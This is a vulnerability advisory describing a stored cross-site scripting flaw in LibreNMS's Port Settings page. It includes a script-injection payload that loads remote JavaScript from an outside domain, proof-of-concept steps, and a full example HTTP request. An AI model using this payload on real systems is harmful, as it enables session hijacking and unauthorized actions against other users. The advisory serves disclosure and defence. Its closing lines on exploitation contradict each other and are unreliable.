Summary
A Stored Cross-Site Scripting (XSS) vulnerability in the "Port Settings" page allows authenticated users to inject arbitrary JavaScript through the "descr" parameter when editing a device's port settings. This vulnerability can lead to the execution of malicious code when the "Port Settings" page is visited, potentially compromising the user's session and allowing unauthorized actions.
Details
When editing a device's port settings, an attacker can inject the following XSS payload into the "descr" parameter:
lo'"><script/src=//15.rs>
Note: The payload uses the "15.rs" domain to bypass some of the length restrictions found during research by pointing to a malicious remote file. The file contains a POC XSS payload, and can contain any arbitrary JS code.
The payload triggers when the "Port Settings" page is visited, exploiting the $port->ifAlias variable in the application. The sink is located here:
https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/app/Http/Controllers/Table/EditPortsController.php#L82
PoC
- Edit a device's port settings using the following payload in the "descr" parameter:
lo'"><script/src=//15.rs> - Save the changes.
- Navigate to the "Port Settings" page of the device.
- Observe that the injected script executes.
Example Request:
POST /ajax_form.php HTTP/1.1
Host: <your_host>
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-CSRF-TOKEN: <your_token>
X-Requested-With: XMLHttpRequest
Cookie: <your_cookie>
type=update-ifalias&descr=lo'%22%3E%3Cscript%2Fsrc%3D%2F%2F15.rs%3E&ifName=lo&port_id=1&device_id=1
Impact
This vulnerability allows authenticated users to execute arbitrary JavaScript in the context of other users' sessions when they visit the "Port Settings" page of the device. This could lead to the compromise of user accounts and unauthorized actions performed on their behalf.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs high-level or administrative privileges. The attacker needs the user to perform some action, like clicking a link. The vulnerability can affect other systems as well, not just the initial system. There is a high impact on the confidentiality of the information. There is a low impact on the integrity of the data. There is a low impact on the availability of the system.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
